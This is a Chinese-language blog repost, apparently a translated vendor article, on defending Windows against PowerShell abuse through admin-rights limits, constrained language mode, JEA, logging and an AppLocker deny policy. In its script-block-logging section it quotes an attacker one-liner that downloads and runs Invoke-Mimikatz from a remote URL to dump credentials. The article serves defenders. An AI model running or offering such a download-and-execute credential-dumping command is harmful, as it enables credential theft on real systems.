[玩转系统] 检测和缓解 PowerShell 攻击的关键步骤
作者:精品下载站 日期:2024-12-14 20:35:43 浏览:13 分类:玩电脑
检测和缓解 PowerShell 攻击的关键步骤
有句老话说:“一个人的工具就是另一个人的武器”。 Windows PowerShell 确实如此。如今每个 Windows 操作系统都包含这种强大的命令行 shell 和脚本语言,IT 专业人员使用它来进行系统管理、远程管理、网络安全、软件开发等。
另一方面,威胁行为者利用它来帮助他们实现恶意行为,例如恶意软件传送、勒索软件部署和数据泄露。本文解释了为什么 PowerShell 对攻击者如此有用,并提供了保护 IT 环境的宝贵策略。
为什么 PowerShell 如此受欢迎的攻击平台?
那么为什么如此多的网络犯罪分子使用 PowerShell 来发起攻击呢?一方面,它是免费的。其他原因包括:
- 大多数企业用户都在其 Windows 端点设备上启用了 PowerShell。
- PowerShell 使用无文件方法,直接在内存中执行命令和脚本,使其难以检测。
- 它可以通过启动远程连接来访问几乎任何 Windows 设备。
- 威胁参与者可以使用其他恶意工具(例如 Empire、DeathStar 和 CrackMapExec)来利用 PowerShell。
- GitHub 和其他地方(例如 Invoke-Mimikatz)上有大量脚本可供攻击者使用。
一旦攻击者在本地环境中获得初始访问权限,他们就可以使用 PowerShell 来了解您的网络并横向移动以访问您最敏感的数据和其他 IT 资源。
如何降低 PowerShell 的风险
由于PowerShell被用于多种不同类型的攻击,因此必须实施保护措施来打击其恶意使用。让我们看看一些降低 PowerShell 引发的威胁风险的方法。
限制本地管理员权限
在零信任网络时代,标准用户不应该拥有其设备的本地管理员权限,除非他们的工作需要。虽然拒绝本地管理员权限不会限制对 PowerShell 的访问,但它确实限制了用户(或已泄露其帐户的对手)可以使用 PowerShell 执行的操作,因为许多 PowerShell 命令和脚本需要提升权限才能工作。此外,拒绝本地管理员权限将限制用户对敏感文件夹和系统设置的访问。
使用受限语言模式
Windows PowerShell 支持各种语言模式,这些模式确定可以使用 PowerShell 的哪些部分。约束语言模式是为 Windows RT 操作系统开发的,后来添加到 Windows PowerShell V5,目前已用于所有现代 Windows 操作系统。
您可以在完整语言模式下启动 PowerShell 会话,如下所示:
您可以使用以下命令将 PowerShell 会话置于受限语言模式:
在受限语言模式下,PowerShell 仅限于一组有限的命令和脚本。超出这些限制的命令执行将被阻止,如下例所示:
受限语言模式还限制对某些 PowerShell 功能的访问,例如 PowerShell 配置文件的使用以及加载其他 PowerShell 模块的能力。总的来说,这些限制有助于防止黑客使用 PowerShell 绕过系统安全措施。
不幸的是,这种保护措施有一个明显的弱点:用户可以简单地启动一个新的 PowerShell 会话,默认情况下该会话将以完整语言模式运行并具有对 PowerShell 功能的完全访问权限。
使用 PowerShell 进行足够的管理 (JEA)
PowerShell Just Enough Administration 允许您强制执行基于角色的系统来执行管理任务。将 JEA 视为 PowerShell 的最小权限安全原则。当用户开始 JEA 会话时,他们会被分配一种受限形式的 PowerShell,仅允许他们执行与其角色相关的任务和命令。这可以防止他们执行不需要的特权命令。
启用 JEA 是一个多步骤的过程。第一步是创建角色兼容性,文件如下所示:
然后,您需要编辑 .prsc 文件并定义角色的特定功能,例如允许用户执行特定命令。其他步骤包括创建会话配置文件,然后使用该文件在本地计算机上注册新的 JEA 端点。
获得活动的可见性
您需要了解 IT 环境中发生的情况。一种选择是使用 Windows 事件转发 (WEF),这是 Windows 操作系统中的一种免费工具,可以从分布式系统收集和集中事件日志。第三方方法是安全信息和事件管理 (SIEM) 解决方案。 SIEM 可以从大量不同的系统中收集数据,并将这些数据聚合起来,以提供对整个环境中发生的情况的全面洞察。
您还应该启用 PowerShell 系统范围的记录,这将记录指定系统上的所有 PowerShell 活动,以便可以查看已执行的命令。这对于审计和取证调查很有帮助。要启用 PowerShell 系统范围的转录,请创建一个组策略对象 (GPO),转到“计算机配置”>“管理模板”>“Windows 组件”>“PowerShell”,然后打开启用 PowerShell 转录,如下所示:
使用 AppLocker 禁用 PowerShell 和脚本
AppLocker 随 Windows 10 Enterprise 一起提供,并提供了一种将应用程序和脚本列入白名单的有用方法。它可以在系统本地进行配置,也可以通过组策略进行配置。要使用组策略,请创建 GPO,转至计算机配置 > Windows 设置 > 安全设置 > 应用程序控制策略 > AppLocker。创建可执行规则并选择拒绝,如下所示:
您可以通过发布者、文件路径或文件哈希来阻止应用程序。下面的示例策略按文件哈希进行阻止,并仅允许本地管理员运行 PowerShell;任何其他用户的访问都将被阻止。
然后,您可以使用组策略分发策略,或将其导出为 XML 文件并将其导入到 MDM(例如 Intune)中。导出策略的 XML 代码如下所示:
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
<RuleCollection Type="Script" EnforcementMode="NotConfigured" />
<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
您还可以使用脚本规则策略,使用简单的 PowerShell 脚本为指定文件夹创建允许规则,以确保只能执行指定文件夹中的文件,如下所示:
使用脚本块日志记录检测恶意 PowerShell
PowerShell 5 引入了多种新技术来跟踪恶意 PowerShell 脚本。其中之一是脚本块日志记录。 PowerShell 5 默认启用此级别的日志记录,并提供 PowerShell 执行的完整脚本的明文日志记录。这很有用,因为许多 PowerShell 攻击利用难以破译的编码脚本。
让我们看一下攻击者可能尝试隐藏其脚本的一种方法,即使用如下脚本下载并运行 Invoke-Mimikatz:
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
使用 PowerSploit 和 Out-EncodedCommand,攻击者可以创建该命令的编码版本,该版本更加混淆:
但是,PowerShell 事件日志仍然准确显示运行的内容,无需任何编码:
Netwrix 如何提供帮助
虽然组织可以使用这些缓解和检测策略来监控和防范恶意脚本,但也有第三方产品可以简化这项工作。 Netwrix Privilege Secure for Endpoints 可以轻松创建允许和拒绝列表,以自动阻止用户运行不需要的应用程序,包括 PowerShell。此外,此工具使您能够删除本地管理权限,同时仍然允许用户执行高生产力所需的管理任务。
PowerShell 是一个强大的工具。确保采取适当的预防措施,以确保对手无法轻易使用它来对付您。
猜你还喜欢
- 03-30 [玩转系统] 如何用批处理实现关机,注销,重启和锁定计算机
- 02-14 [系统故障] Win10下报错:该文件没有与之关联的应用来执行该操作
- 01-07 [系统问题] Win10--解决锁屏后会断网的问题
- 01-02 [系统技巧] Windows系统如何关闭防火墙保姆式教程,超详细
- 12-15 [玩转系统] 如何在 Windows 10 和 11 上允许多个 RDP 会话
- 12-15 [玩转系统] 查找 Exchange/Microsoft 365 中不活动(未使用)的通讯组列表
- 12-15 [玩转系统] 如何在 Windows 上安装远程服务器管理工具 (RSAT)
- 12-15 [玩转系统] 如何在 Windows 上重置组策略设置
- 12-15 [玩转系统] 如何获取计算机上的本地管理员列表?
- 12-15 [玩转系统] 在 Visual Studio Code 中连接到 MS SQL Server 数据库
- 12-15 [玩转系统] 如何降级 Windows Server 版本或许可证
- 12-15 [玩转系统] 如何允许非管理员用户在 Windows 中启动/停止服务
取消回复欢迎 你 发表评论:
- 精品推荐!
-
- 最新文章
- 热门文章
- 热评文章
[影视] 黑道中人 Alto Knights(2025)剧情 犯罪 历史 电影
[古装剧] [七侠五义][全75集][WEB-MP4/76G][国语无字][1080P][焦恩俊经典]
[实用软件] 虚拟手机号 电话 验证码 注册
[电视剧] 安眠书店/你 第五季 You Season 5 (2025) 【全10集】
[电视剧] 棋士(2025) 4K 1080P【全22集】悬疑 犯罪 王宝强 陈明昊
[软件合集] 25年6月5日 精选软件22个
[软件合集] 25年6月4日 精选软件36个
[短剧] 2025年06月04日 精选+付费短剧推荐33部
[短剧] 2025年06月03日 精选+付费短剧推荐25部
[软件合集] 25年6月3日 精选软件44个
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电视剧] 欢乐颂.5部全 (2016-2024)
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[影视] 【稀有资源】香港老片 艺坛照妖镜之96应召名册 (1996)
[剧集] 神经风云(2023)(完结).4K
[剧集] [BT] [TVB] [黑夜彩虹(2003)] [全21集] [粤语中字] [TV-RMVB]
[实用软件] 虚拟手机号 电话 验证码 注册
[资源] B站充电视频合集,包含多位重量级up主,全是大佬真金白银买来的~【99GB】
[影视] 内地绝版高清录像带 [mpg]
[书籍] 古今奇书禁书三教九流资料大合集 猎奇必备珍藏资源PDF版 1.14G
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电影] 美国队长4 4K原盘REMUX 杜比视界 内封简繁英双语字幕 49G
[电影] 死神来了(1-6)大合集!
[软件合集] 25年05月13日 精选软件16个
[精品软件] 25年05月15日 精选软件18个
[绝版资源] 南与北 第1-2季 合集 North and South (1985) /美国/豆瓣: 8.8[1080P][中文字幕]
[软件] 25年05月14日 精选软件57个
[短剧] 2025年05月14日 精选+付费短剧推荐39部
[短剧] 2025年05月15日 精选+付费短剧推荐36部
- 最新评论
-
- 热门tag